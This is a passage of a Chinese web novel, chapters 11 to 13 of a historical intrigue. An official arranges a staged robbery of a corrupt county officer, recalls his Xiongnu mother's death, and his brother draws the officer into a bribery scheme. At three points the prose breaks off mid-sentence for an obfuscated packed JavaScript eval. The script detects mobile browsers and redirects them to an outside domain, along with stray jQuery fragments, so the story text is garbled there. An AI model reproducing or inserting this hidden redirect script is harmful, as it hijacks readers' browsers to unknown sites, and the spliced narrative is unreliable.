潘县丞的意思很明白,孙夫人是要为这唯一的女儿讨回公道,可又不是后半辈子不活了。她如今无儿无女又没有亲人依靠,总要为自己的余生打算。 这四两银子,其中二两买下阿锦的命,另外二两给孙夫人作为补贴,已然厚道至极了。 赵兴暂且把心放回了肚子里,毕竟是白花花的银子,谁又能理直气壮地说不想要呢。 ……只希望那位年轻人不要再瞧出什么端倪来。 “你不怕他们暗中搞小动作?”乔沐苏问。 源尚安道:“怕不怕他们都会弄的。” 乔沐苏眸光下移,但见源尚安不知何时从怀中摸出来两根金条排在了方桌上。 “……你什么时候出手如此阔绰。” 源尚安无奈笑道:“赵大人硬要塞给我,不收也没办法。” 乔沐苏没说话,但源尚安读懂了他眼神的意思:就这么堂而皇之的收受“贿赂”,也不怕人家反手告一个索要金银? “这金条用料极好,成色也新,想必铸就它的工匠技艺不俗,”源尚安端详了阵,“一般工匠都会在自己的作品上留下印记证明出自他手。顺着这个找下去,也许能发现幕后之人的线索。” 他看了阵,果然在金条上找到了处轻微刻痕。 源尚安捡起金条随手一抛,稳稳地落在了戚玹怀里:“查吧,会有头绪的。” 他随后起身,同乔沐苏一并前往隔间。 木门吱呀作响的一瞬项连还不大适应,等到他看清源尚安的眉目之后才不由自主地朝后退了退。 “怎么,不好意思见我?” 那双似喜非喜的瑞凤眼瞧着项连,他顿了顿才道:“……我怕误伤了大人。” 他潜意识里还残存着敌意,把闯入之人本能当做了需要铲除的歹徒。 源尚安缓步上前,在距离项连不到一臂间隔的时候停了下来:“我说过,要用到你的时候我们会再见面的,现在时候到了。” 项连琢磨不透那双眼瞳里的算计:“不知大人有何吩咐。” 当啷一声长剑破空而来,项连想也不想,在武器落下前的一瞬凭借着本能抬手握住了剑柄。 他眼神犹疑地看着源尚安:“你……” 项连两指一试便知这是一把没有开刃的宝剑,造不成多大伤亡,最多只能唬一唬人。 源尚安偏头看了看他,似是很欣赏他面对危机时的迅速反应:“打劫会么?” 项连眉头一皱,不知他要干什么。 “不用你真的杀人放火,吓一吓人就行。” “……要对付谁?” 源尚安神色笃定,递上了一张画像:“永丰县尉赵兴。” 11. 布疑阵(二) 项连接过画像端详少顷,眉头不由随之紧蹙:“为什么?” 这位毕竟是官府的人,弄不好会暴露自己的身份。 源尚安道:“我和他有仇,看不惯他。” 项连:“……” 直觉告诉他,这家伙又在说谎话诓人。 项连犹疑了少顷才道:“如果被他认出来的话会很难办。” “放心,既然是打劫,那就要有匪徒的样子,”源尚安抛来一套夜行衣,“而且,我想你也不会轻易暴露自己的身份吧。” 项连又一回答不上话,他已经记不清这是第几次了。这人似乎对眼前的一切都了如指掌,所以能迅速把握住关键,叫人进退不能,只能依计行事。 他知道眼下只有照办这一条路走。 项连飞速换上了夜行衣,又用黑布蒙住了面容,只余下一双棕红色的眼瞳警觉地留心四周。 这样的打扮使他的眉眼更为突出,旁人的注意力便不由自主地凝聚到这副剑眉星目上。 擦肩而过的那一瞬,项连明显感觉到了源尚安的迟疑。 然而这迟疑并未变作挽留或是疑心,源尚安轻飘飘道:“我会派人协助你,路上保重。” 下楼的脚步声随即传来,源尚安等了一阵,确认项连和那两三名小兵真的走远了之后才道:“……我总觉得这幅容貌有些熟悉。” 乔沐苏道:“你从前见过他?” “不,没有,在来这之前我并不知道他是谁,”源尚安略显苦恼地微低着头,“但是他的长相好像总在尝试唤醒我心里的什么东西。” 他凝眉在记忆里一阵思索,却没有找到任何可以派上用场的零碎片段。有时这些细微的灵感就好比一尾滑溜溜的游鱼,稍一凝神就狡猾地钻走,再不见一点踪影。 乔沐苏道:“这也算正常吧,故卿你不也是鲜卑族么?” 同为草原后裔,血液里难□□淌着类似的东西,乔沐苏觉得源尚安对于项连有一种恍见故人之感也算正常。 “……也许吧,”源尚安道,“毕竟无论是匈奴还是鲜卑,都和我有些关系。” 见乔沐苏有些疑惑,源尚安便解释道:“观棠,你应该听人提起过吧,我们源氏一族之所以效力于大魏,是因为我父亲当年国破家亡无路可去,最后带着族人投奔了世祖皇帝。” “那个时候的西北一带,包括夏州凉州在内,都还是,”源尚安说到这里顿了一下,飞速思量后换了个表述,“在你们眼里都还是外族盘踞的凶险之地。” 那时候匈奴攻占了夏州之地,鲜卑占据了青海一带,其余部落也在西北各自为政,说是乱成一锅粥毫不过分。 “我知道,”乔沐苏对于源司繁很是敬重,“那时候大魏还不算强盛,正因有世祖皇帝励精图治开疆拓土,才有了今日基业。而协助先帝平定西北的人,就是……” 源尚安点了点头:“就是我父亲。” 从前史官记录或是朝野谈论此事时,没少在源司繁身上用过诸如“深明大义”“弃暗投明”一类的词语,也没少称颂这段君明臣贤的佳话。 乔沐苏明白这自然是有意树立一个榜样,激励四海英雄为大魏效力,也号召朝臣忠心侍君。 但看源尚安如今神情,乔沐苏知道其间必有隐情。 “他是为了保全族人,”源尚安道,“当然,同时也是为了报仇雪恨。” “……报仇?” 源尚安轻轻嗯了声:“因为我名义上的母亲,是匈奴的公主。按理说联姻换来的该是和平,但公主的父亲,也就是匈奴当时的天子,却选择了撕毁盟约背后偷袭。祖父祖母因此丧生,同族之人也遇难无数。如此血仇他不得不报。” 血战的结局乔沐苏自然知道,一切以大魏统一北方开创盛世作为终了,甚至还在史书里降低了敌方的规格,不许称其为帝而以天王代指。 没有人再去细究局中人的爱恨情仇。 心脏不知为何震颤不休,乔沐苏呼吸微促:“那、那你的母亲呢?” “上一代天王病逝之后,继任者昏聩无能,其下士卒根本就不是我父亲的对手,他一路过关斩将,犹入无人之境,”源尚安道,“但这势如破竹的气势,却在逼近国都前遭到了阻碍。” “他们传言说,就在满朝文武商量着面缚衔璧的时候,我的母亲提着一把不知从何而来的剑,当面驳斥了所有人。” “她说——” “可笑我数万壮士满朝贤良,今时今日竟无一人是男儿。” “她组织人手试图抵抗,但大势已去终究是无力回天。” 源尚安这头话音刚落还未开启下篇,乔沐苏便心焦道:“那最后?” “最后她拿出积蓄遣散了周遭侍从,孤身一人登临高殿,纵火自焚。” 她的死亡埋葬了一个王朝最后的尊严与辉煌。 此战之中匈奴后裔被诛戮大半,侥幸存活的一部分皇室也被大魏重点关注,其中有人仍旧怀着复国之念蠢蠢欲动,便免不了被斩草除根,最后幸存的也不过是十之一二。 这部分人被人为地赋予例如赫连、慕舆、贺楼等不同姓氏,朝廷将他们迁至不同地域,又暗中派人有意挑起矛盾,使之始终无法拧成一股绳。 这才有了北方数十载的太平。 乔沐苏眼神颤动,良久说不出来任何字句,只凝视着源尚安胸口不住起伏。 不知过了多久,他才缓慢低声问道:“那故卿你……” 想起身世源尚安不由得一声苦笑,自嘲道:“我是他带人从废墟里扒拉出来的。” 问父母自己是怎么来的大概都是小孩子避免不了的好奇心。 然而从小到大不论源尚安怎么问,得到的回答都出奇的统一:你是从外面捡回来的。 后来学堂里有大一些也顽皮些的同学委婉又神秘地告诉源尚安:你爹有可能在外面又找了一个,但又不好意思告诉家里人,才说你是外头捡回来的。 源尚安半信半疑。 同学就劝他,你可以试着留心一下你爹。 于是源尚安小心翼翼跟在源司繁身后想一探究竟,他本以为自己蹑手蹑脚已然足够小心,却没想到还是被源司繁一把提溜了起来。 “不是叫你在家好好呆着吗?跟我出来做什么,偷偷摸摸的。” “我……”源尚安两脚在半空蹬了蹬,脸上瞧起来懵懵的,不像是故意捣蛋的样子。 源司繁把他放了下来,拍了下后背道:“回去吧。” 源尚安没有挪动脚步,在原地酝酿许久之后,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872823|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问出了埋在心底的问题:“爹,我、我想见我阿娘一面……就一面。” 他始终低着头,两手不由自主的揉搓着,似乎有些底气不足:“可以吗?” 没想到这简简单单的一句话,竟是叫源司繁险些潸然泪下。源尚安瞥见他发红的眼眶一刻还有些茫然无措,以为自己说错了话,慌忙道:“对不起、对不起爹爹,我不该说这种话,我以后不乱跑出去了,我……” 他话没说完就被源司繁一把抱了起来,可后续父亲的言语太过低沉又夹杂了哽咽,源尚安回忆不起来完整的语句,只记得他断断续续说了一通,都是自责和愧疚的意思。 可是世事向来随流水,东流不复回,悔恨嗟叹终无大用,换不来光阴倒转。 源司繁抱着他一路回了家,大抵也是明白了这逝水东流的道理,最终只道:“都过去了、过去了。” 乔沐苏怅然许久默默无言,在天下大势的洪流面前,个体的悲欢离合与苦痛挣扎总是显得那样渺小而无力,轻而易举就会被碾成齑粉。 可无论是源司繁还是源尚安都有意回避了一个问题,那就是一个出现在王城附近的孩子,当真会和匈奴二字毫无联系吗? 乔沐苏不知该从何说起,毕竟这是别人的私事。或许源司繁养了源尚安这么多年一早就有了父子之情,也不会真的在乎他身上有没有仇人的血脉。 “原来是这样,”乔沐苏道,“怪不得——” 怪不得他思索再三,最终没有选择推辞夏州太守的任命。 源尚安坐了下来,不知在想些什么:“嗯,毕竟这里也算是……故土吧。” 二十多年过去了,他也想回到这片生养自己的土地看看。 乔沐苏一瞬接不上话,只觉得源尚安眼眸中闪烁着些他看不真切的内容。 起初他所理解的源尚安是个忍辱负重、不惧人言,一心只为杀贼报国的人。而在洛阳的那一年里,有无数的瞬间都验证了他的想法:源尚安顶着文臣武将的谩骂,假意做奸佞走狗勤恳办事,最终用计将之逼上了死路。 他自愧不如,故而打心眼里敬佩这样的英雄。 但今时今日他蓦然回首,忽而意识到这段往事或许还有另一种解读: 他如此聪慧,极有可能一早就推断出来了自己的身份,知晓了身上也怀有匈奴王的血脉。但这些年来他一直不说,只用现在这个名字蒙骗世人。 杀贼是真,忍辱负重多年也是真,但也许他不仅仅是为了报国,而是为了一步步丰满自己手中的权力,一点点接近巅峰。 而等到时机成熟,他也不会再心甘情愿地俯首听命。 如果是这样的话,那么太守之位在他手中岂不是—— 乔沐苏呼吸微促,明知道自己不该再按照这猜想继续下去,可思潮中却仿佛有一股魔力化成了无形大手,拽着他在其间愈陷愈深。 啪! 源尚安一手拍在乔沐苏肩上,差点把他吓了一跳:“不舒服吗?” 他编不出任何谎言搪塞,只得静静望着那双幽暗的眸子。 ……无论是敌是友、是恶是善,他身上都有一股无法叫人抗拒的吸引力,像一只缭绕心间的迷人蝴蝶。 源尚安眉梢微挑,似是想笑:“我瞧起来很危险吗?” 12. 布疑阵(三) “我只是觉得有些可惜,”乔沐苏斟酌着道,“若不是立场不同,你的母亲她本该被追赠谥号的。” 源尚安对此不置可否,脑海中忽而想起从前听过的另一则传言。 管家阿尔敦和他说,父亲当时带着许多人手在宫殿的废墟旁一连找了三天三夜,直到第四天暴雨落下才不得不带人回去。 连日的搜寻却没有找到任何结果,甚至连残骸都找不出来。 众人其实心里已经有了猜测,但却不忍心告诉源司繁真相:火势过大又连着房屋倒塌,早就将他至亲至爱的尸骨吞没殆尽。 源司繁也没有再主动提及那场大火,兴许辗转良久最终还是默默无言地接受了事实。 只是匈奴覆灭之后,夏州这片土地上仍旧时不时会有流言传播。 源尚安记得,他到廷尉府后参与办理的第一件案子便是一桩纵火案。 他随人一同勘察现场分拣死者遗骸时随口问了一句:“舒大人,您说这世上有没有一种办法,让死者在被火烧过之后,一点痕迹都不留下?” “傻孩子,想什么呢,”廷尉府的前辈拽开脏兮兮的手套摸了下他的头,“雁过留痕风过留声,无论是什么人什么事,在这世上都会留下印记。单看我们能不能留心罢了。” 源尚安搬着尸块,忽然仿佛没头没脑地来了一句:“那也就是说,除非火起之前就将人带走是么?” 前方蹲在地上的人愣了愣,看样子是想不明白他为什么突然问起这个:“……这也不好说,毕竟凡事都有例外……” 回忆里的声音逐渐退潮,源尚安选择将这猜测和可能留在心底,随时间成谜。 他面上无波无澜,可一旦平静下来,眼前便有一张俊逸的面容愈发清晰。 源尚安在心底无声地念着那个名字:若说侥幸存活至今的匈奴后裔,其实那个人也算是其中之一吧。 …… “少主,”贴身侍从阿飞道,“按照您的吩咐,这几日我都在留心消息。” 源素臣擦了擦那把陪着他出生入死的佩剑定九韶:“怎么说?” 阿飞道:“夏州土匪主要分为两大派系,其一叫龙虎山寨,其二叫风雷山寨。这些年来龙虎山寨出动最多也最叫当地百姓头疼,至于风雷山寨则是几乎快要销声匿迹了。不过——” 源素臣没有停下手上动作:“不过什么?” “不过有人疑似见过风雷山寨的主人,虽然没能看清样貌如何,但能确认是个女人。” “……女人?” 阿飞猜到他想问具体年岁:“确定不了具体范围,不过应该不是特别年轻的小姑娘。” 源素臣松开了握剑的手,任由剑刃砰地滑落鞘中:“知道了。” 阿飞抱拳退下。 卫襄道:“那也就是说,还是有可能活着的,少主——” 他望见源素臣闭上了眼睛,胸口加速起伏。 “……报、报!快报少将军!我、我……” 外头一阵骚乱,源素臣当即长眉蹙起:“怎么回事?” 赵兴衣衫不整满脸污浊,惊恐道:“少将军救命、救命啊!” 帐篷刚掀开的那一瞬他便扑通一声栽倒在地:“少、少将军……” 两侧侍卫将他搀扶了起来,源素臣见他神色惊慌不似作伪才问道:“出什么事了?” 赵兴惊魂未定,连连粗喘:“有、有人要杀我……” 原来两个时辰前他正要打道回府,赵兴累了数日,在轿子上昏昏欲睡,两侧抬轿子的仆从也心照不宣地放缓了脚步。 距离家门口还不到半里地的时候轿子忽地一震,赵兴脑袋冷不防磕了一下,他立刻惊醒就要骂人不懂事,却忽然听到两侧仆从的尖叫:“有、有贼!” 赵兴立时面无血色:“……什么?!” 那半道杀出来的蒙面男子身形健壮高大,手持大刀威风凛凛。利刃还没砍下就已然吓得仆人两腿发软。 生死关头他们也顾不上什么主仆情谊,连忙丢下赵兴自个儿逃命去了。 “……混账东西,养你们干什么用的!”赵兴也是提心吊胆,只能靠骂人为自己壮壮胆量,“回来,都给我回来!” 轰隆一声巨响,那蒙面男子举起大刀,竟是单凭力道粉碎了轿顶。 赵兴顿时抖如筛糠:“好好好好汉饶命……” 他将身上的钱袋朝后丢了过去,随后起身逃命:“都给你都给你!高抬贵手、高抬贵手!” 钱袋到手的那一瞬蒙面人愣了愣,停顿片刻掂量了下重量。随后他似是觉得不够,提着刀和同伙又追了上去。 赵兴惶恐至极,脑子里一片空白,所能做的只有拼尽全力拔腿就跑。 他要去官府报案喊人来!这帮匪徒当真是无法无天了,居然敢打他的主意! 然而他还没来得及拐弯,前方就忽然跳下来另一个蒙面男人堵住了去路。 眼前刀光一晃之时赵兴差点直挺挺地昏过去,他倒抽一口凉气:去衙门的路被堵上了! 等等、等等…… ……对,对,源素臣不是带兵来了吗?赵兴想到这里立时朝着营地狂奔。 他娘的,这帮人简直是想钱想疯了!敢打劫他们当官的! 赵兴在心里问候了蒙面人的十八代祖宗,眼前总算亮起来了几点火光,他松了一口气,知道那是军营里负责巡逻的人。 有救了! 不过、不过…… 这家伙到底是谁,他怎么敢…… 心慌意乱大汗淋漓之时,脑海中却忽而有一道声音愈发清晰: “这逃跑的匪徒身形高大武艺高超。” “心狠手辣,不知什么时候就会报复旁人。” 赵兴脑子里一懵一震,已然控制不住脚步,踩中碎石扑通一声栽倒在地。 好在正是这动静引起了巡逻兵的警觉:“前方有人!” “速速查探情况!” 赵兴感激不尽,差点一把鼻涕一把泪,身后那群匪徒大抵是害怕遇上人,忙朝着反方向撤回。 就这样他才捡回来一条命。 “……少、少将军,”赵兴大口喘气,“有人要杀我呐……” “嗯?” 源素臣朝他投来审视的目光,叫赵兴不由得一阵发怵。 怎么感觉这个人比匪徒还要可怕? 赵兴连声宽慰自己不过是错觉,只听源素臣又道:“赵大人招惹了仇家?” 赵兴表情有一瞬空白:“没、没有啊。” “再想想?” “……真、真没有啊少将军,这关系到我身家性命,我不至于说这个谎啊。” 源素臣道:“这么说来,这匪徒就只是为了抢钱了?” 赵兴还没接话,源素臣便又道:“我倒是好奇,他怎么知道赵大人身上有钱,看来赵大人平日里很喜欢露富了?” “……” 不知怎地,赵兴有些不好意思回话。 他不说话,那源素臣就要替他说了:“既然赵大人两袖清风,平素又与人为善,那这伙匪徒还真是瞎了眼睛又不想活了,您说是吧。” 赵兴尴尬地吞了口唾沫,陪笑道:“少将军真是风趣。” “多谢。” 赵兴:“……” 他今天可算是明白什么叫做如鲠在喉了。难怪外头都传言说这少将军与其父不同,是个捉摸不透的怪脾气。 赵兴小心翼翼试探道:“我听军中之人说,少将军最近在追击一伙歹徒?也许今夜的事就和他们有关。” 源素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872824|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣面无表情:“刺探军情是死罪。” 赵兴哎呦了声:“我哪有那个胆子?这不是情况紧急刻不容缓……” 他发觉源素臣又在一语不发地看着自己表演,只好移开眼神忍着不自在继续道:“留着总归是个隐患,若是伤到无辜百姓就不好了。” 源素臣哼了声:“赵大人挺爱民如子。” 赵兴又顿了一下,但也就那么一下,他立刻发挥了从前锻炼出来的能屈能伸的本能:如今只有源素臣能帮他,他找人是来谈合作的,姿态放低些哄人开心了才好办事。 “职责所在,我们也不敢耽搁,”赵兴正色道,“少将军此次前来也是为了剿匪,怎能轻易放过这等隐患。” 源素臣抬眸端详了他少顷,幽幽道:“那你要拿出诚意来。” 赵兴的神情有片刻凝滞,故作不解道:“少将军这是……” 源素臣略带笑意道:“我们也是日夜兼程地从汾州赶过来,路上一刻也不敢休息。上上下下怕是将近一千号人,那可是真的众口难调。” 听完这话,赵兴暗自转忧为喜。 他本以为面前这人是个热血莽撞的青年,一言不合就要搬出大道理来压人,却没想到他其实比自己想象的要上道得多。 这就好办多了,如何跟这样有自己小心思的人打交道,他可是太清楚了。 赵兴笑道:“少将军放心,我们绝不会让您白跑一趟。” 源素臣对于这个回答显然不甚满意:“赵大人惯会说这种玩笑。没有军饷,我要怎么出兵?” “这您放心,”赵兴笑得有些奸猾,“剿匪这事不光我们心里着急,这也事关百姓的安危。出点银子支援剿匪的事,他们还是愿意做的,花钱消灾嘛。” 源素臣不大放心:“这事儿不算小,衙门里头不会有人叫板吧。” “怎么会。” 有了个捞钱的好机会,他们高兴还来不及呢。哪个不长眼的会上赶着断自个财路? 八成还要谢谢源素臣给了他们这个机会呢。 源素臣一副苦恼模样,揉了下眉心:“那这就奇了怪了,既然大家齐心协力共同剿匪,为何这帮人直到现在还是逍遥法外?” 没等赵兴答话,源素臣便凑近在他脖颈上比划了个斩首的手势:“赵大人,不是我说,斩草要除根呐。” 那双琥珀色的眼瞳近在咫尺,令赵兴情不自禁地想到了桀骜不驯的狼。 这家伙是真不懂,还是故意和他装糊涂? 这剿匪的旗号没了,他们上哪儿发财。 赵兴道:“年年都有在逃人犯,活不下去了落草为寇也是正常的。” 源素臣摊开手:“那我就不明白了。衙门上下尽心尽力,这帮土匪怎么还是不识好歹。” 赵兴暗自汗颜,这家伙还真的跟狼一样,一旦咬住了猎物的弱点就不会松口。 不等他接话,源素臣便又仿佛自言自语道:“挡人财路的人就是留不得,赵大人您说是么?” 赵兴笑着应:“是、是。” 源素臣起身走到长剑定九韶前,蓦地抛于空中后又稳稳接住:“赵大人的意思我明白,这年头当官就和我们带兵打仗的人一样,都不容易。” 赵兴挂着笑不敢随意应答,还在揣摩着源素臣的心意,只见他绕到自己身后又道:“忙前忙后都是为了挣钱,谁也不愿意白费力气。咱们军营里的弟兄最讲究的就是两件事,杀人,和挣钱。所以说。” 源素臣冲他依次伸出来了两根手指,又依序收拢。 “所以说……” 啪的一下,剑鞘拍在了赵兴背后,险些叫他毛骨悚然。好在最终还是被忍住了。 源素臣俯瞰赵兴,笑意难以捉摸透彻:“所以说赵大人得带着咱们,杀人,挣钱。” 13. 布疑阵(四) “……这挣钱我明白,”赵兴嘶了声,“但是杀人……腥气太重,恕我不明白。” 源素臣握着定九韶的剑鞘,那把当世神兵泛着些许金光,晃得赵兴有点眼晕:“杀人,就是为了挣钱。” 赵兴睨笑道:“杀人挣钱,那不成了土匪了。” 源素臣道:“我又不是什么人都杀,也不是什么人的钱都拿。” “土匪杀无辜,抢好人的钱,我不一样,”源素臣身躯不动如山,唯有一双眼眸定在了赵兴面孔上,令他想退也不敢退,“我不喜欢为难好人,我只喜欢杀恶人,赚他们的钱。” “那少将军入错行了,”赵兴嘿笑道,“杀富济贫那是大侠做的事。” “杀富,什么杀富?”源素臣很是困惑,看了眼坐在一旁的卫襄,“我只听说过啥人才有傻福。” 身后的卫襄摇摇头,仿佛什么都没听懂。 赵兴的眼珠子缓慢溜回原位,又道:“那不动手,怎么赚钱呢。” “沾血的钱就脏了,我不喜欢赚,”源素臣道,“赵大人也不希望脏了手,对吧。” “我说了,谁坏,赚谁;谁坏,杀谁。” 赵兴立刻欠身抱拳:“愿听少将军细细指教。” 源素臣一把将人搂了过来,故作亲密地凑近道:“这伙土匪胆大包天,今日敢劫赵大人,明日就敢动刀子。依我看,留不得。” “那是、那是。” “他们如今遭遇打击,正是士气低落的时候,村民又刚刚遇劫,怨气极大必定支持剿匪,”源素臣跟赵兴详细地算,“天时地利人和,失不再来。” 赵兴舔了舔嘴,似乎尝到了甜头。 他问:“那事成之后……” “分账。你我分。” 赵兴不确定道:“那……三七开?” 源素臣立时收了笑,一脸严肃道:“赵大人劳苦功高一路颠簸,怎么能只拿三份?客气了!至少得对半开。” 赵兴:“……” “怎么,太多了,赵大人不好意思拿?”源素臣很是通情达理,“我知道,我知道赵大人秉公守法廉洁爱民,原是看不上那些黄白之物的——那就四六分账。” “……唉唉唉,我、不是……” “嗯?还多了?” “没有没有,一切听从少将军安排。” 赵兴暗自肉疼,他要是再说两句,源素臣就得把这三七开改成他七自个儿三了! 源素臣笑着拍了拍他的肩膀,那笑意赵兴看不太懂,只能笼统理解为达成合作后的愉悦。 “不是我硬要为难赵大人,”源素臣道,“而是这钱只有赵大人也拿了,我心里头才踏实。” 这句话赵兴听懂了,敢情是怕自己泄密所以给了封口费嘛。 “少将军放心,该守的规矩我一定守。” 拿了钱后替人保密的事他早已经是轻车熟路。这话一出口,赵兴原本悬着的心也几乎落了地。 他是个爱钱爱享受的俗人就好,越俗越好,俗了的才能放心大胆地做盟友。 赵兴问:“不知少将军打算什么时候出手?” 源素臣上前一步:“不急。” 赵兴又被他整得糊涂了。 源素臣道:“此事不算小,就怕半道上漏了风。” “少将军,”赵兴暗自捋了捋,“这永丰的风无孔不入,咱们可挡不住啊。” 赵兴道:“少将军要想把钱拿稳,得随我见一个人。” 他本以为源素臣该是上赶着求这段关系,不曾想下一刻他就变了神色:“赵大人不是受了伤么?养好了再走也不迟。” —————— 赵兴知道自己不是永丰县真正的主人,他也知道自己能力有限,所以不求登上青云之路做大官,能在这片地方混得风生水起就行。 而在这地方混下去的条件就是不能出差错。因此赵兴不敢放松对孙夫人的疑虑,一早把消息捅给了潘县丞潘理全。 潘县丞也怕再生波澜,早早赶到了郑府见人。 他到时郑良辅恰在庭院里自斟自饮,还热情相邀:“潘县丞今日怎么得闲过来了?” 潘县丞恭维两句,郑良辅也跟着眯眼笑了起来,又道:“我还以为是哪桩陈年旧案出的什么差错呢。” 潘县丞正色道:“差错算不上,但的确有些波折。” “哦?” 潘县丞压低声音:“您还记得那个姓孙的疯婆子吗?自从那案子定为了溺水她就一直喊冤叫屈,正巧前几日小源将军路过剿匪碰上了她,这事怕是瞒不下去。” 郑良辅仍旧在笑,他身形肥硕两眼又喜欢眯缝着,和寺庙里供奉着的弥勒佛有几分神似。他道:“这不是花点小钱就能解决的事吗?” “昨日就派人找她了,可她说什么也不要银子,咱们也不敢再劝,说着说着她又发起疯来。” “爱女心切嘛,正常。” 潘县丞道:“咱们不能由着她这么闹下去,说出去传远了多难听呢。” 郑良辅哎了声:“她有疯病在身,咱们总得照顾着不是,何必为难人家?我听说这几日外头土匪闹得凶,你说这要是不小心碰上了扯上了什么关系……哎,是吧。” 潘县丞眼中一亮,立时明白了他的暗示:“还是郑老爷这手高明,您放心,我这就去办。” 郑良辅点了点头,又随手倒了杯茶:“有些人也该留意留意,不要任由他们乱跑。” 潘县丞知道他说的是以追捕匪徒为名进城的那位主簿“顾青”。 他虽然还没有见过这人真容,却隐约觉得有些奇怪。如果说源素臣前往夏州只是为了抓捕土匪归案,那直接通知他们配合出兵就可,何必再派人来…… 这家伙不像是来帮忙的,倒像是来找茬的。 潘县丞刚出了门,这伙“找茬”队伍已然去了城西的一座空楼。 源尚安依照齐大娘的回忆在标注了方位,推断出阿锦生前打工的地方就在平安街上。只是到了地方才发现整座楼早已撤得干干净净,一点活人呆过的痕迹都没有。 “还真是名副其实的人去楼空。”源尚安卷起来了地图。 乔沐苏道:“就是不想让你查呗。” 在来这里之前,源尚安已经试图和孙夫人面谈一番,可得到的消息是她已然被人接走,这几日希望静养不想面对旁人。 人怎么突然会凭空消失?定然是有人嗅觉灵敏,怕被发现实情开始清理痕迹了。 源尚安挑开破烂的布帘:“再看看有没有什么遗留下来的痕迹。” 楼里积灰未扫,进门的一刻腐朽味扑面而来,源尚安受不住这气味,情不自禁地咳了起来。 他下意识地掏出丝帕掩唇,然而正是这个习以为常的动作引发了身后暗中相随的某道目光的注意。 乔沐苏道:“你别进去了,我替你看看。” 他懂得药理又周到细致,因此把探查的工作交给他,源尚安也很放心。 少顷后只见他用手帕捧着角落里捻起的一点碎屑走近源尚安身侧,一派肃然道:“这里头绝不是什么好地方。” “为何?” “故卿,你知道这是什么?”乔沐苏道,“是我从角落里采集 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872825|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的一些残存的药渣,至于这药的用途么……” 他似乎觉得有些难以启齿也不屑启齿,乔沐苏眼眸下垂,冲源尚安伸出手掌先是摊平,随后五指向上扬起些许。 “总之是用来做这个的。” 然而源尚安没看懂这暗示:“……什么?” 乔沐苏无奈又重复了一遍抬起手的动作:“就是那个,那个。” 源尚安大惑不解,也伸出手来模仿的乔沐苏抬起又放平:“……你我之间有定过这种暗号吗?” 乔沐苏:“……” 他实在没想到这家伙在有些方面知识堪称贫瘠匮乏,乔沐苏只好凑到源尚安耳畔,低声又快速道:“就是用来……重振雄风的药。” 被耳边这阵风一吹,源尚安霎时也有些不好意思,他摸了下耳垂似是觉得有点痒:“我知道了。” 他立刻有些尴尬,转头想要避开和乔沐苏目光交错。不过拜这一插曲所赐,源尚安瞬间注意到了背后那道若隐若现的注视。 有人跟踪! 还真是些上不得台面的手段。 神情随之冷却,乔沐苏还没来得及追问是怎么回事,源尚安脚尖一勾踢起石子在手,照着阴影处丢了过去。 “……哎呦!” 被砸中脑袋的人当即叫了起来,乔沐苏立时上去扭住了那人手腕压在背后:“别动!” 那人喊冤叫屈:“不关我的事,我就是路过,你们抓错人了抓错人了!我……” “哦?”源尚安笑了笑不和他争辩,可那笑容莫名叫人有些害怕,他伸手上去一阵摸索。 “哎,救命、救命啊!非礼啦!我不干那种活计的,救命救命!哎呦——” 源尚安不理会他,把找出来的小腰牌在他眼前晃了晃:“下次替你家主人干活,还是记得要把尾巴藏好。” 那少年一瞬闭了嘴。 源尚安收了腰牌,摸了下他的头:“来都来了,那就陪我见见你家主人。” 他来夏州最要紧的无非是两件事,其一剿匪,其二重审冤假错案。 但想做成这两件事,单凭一腔热血,一身孤胆可不够用。 像郑良辅赵兴这样的人盘踞夏州多年,和地头蛇无二。如果贸然出动,很可能被他们百般纠缠,最终自身难保。 想要赢到最后,他就得在这看似铁板一块的永丰县城敲开一道裂缝。 这个时辰赵兴也该动了剿匪的念头了。 那少年不知道他在琢磨什么,只知道这是自己头一回办坏事没后挨打。 源尚安抛给他一瓶药,那少年先是一愣,正要谢恩的时候发现当头又投来一串铜钱。 那少年顿时有些羞赧,但很快便壮了胆子扒拉自个儿衣襟:“老爷您摸吧我没意见您随意就好我……” 源尚安没说话,挑眉瞄了他一眼,那股说不出来的气度一瞬间就叫人不敢说话。 “我没有那种爱好,别打这种主意,”源尚安道,“拿了钱就记得办事,去山上逛一圈替我找一座坟。” 他冲着人又抛了抛余下的一两银子:“这笔钱能不能拿到手,就看你事办的怎么样了。” 打发走了那少年之后,源尚安一刻也不停歇,快步朝着反方向走。 乔沐苏追上去问道:“去哪儿?” “见见这位郑老爷,”源尚安道,“想来他也想见一见我。” 他话音刚落,前头便有人急匆匆地捧着请帖而来:“顾大人么?可叫我一通好找。” 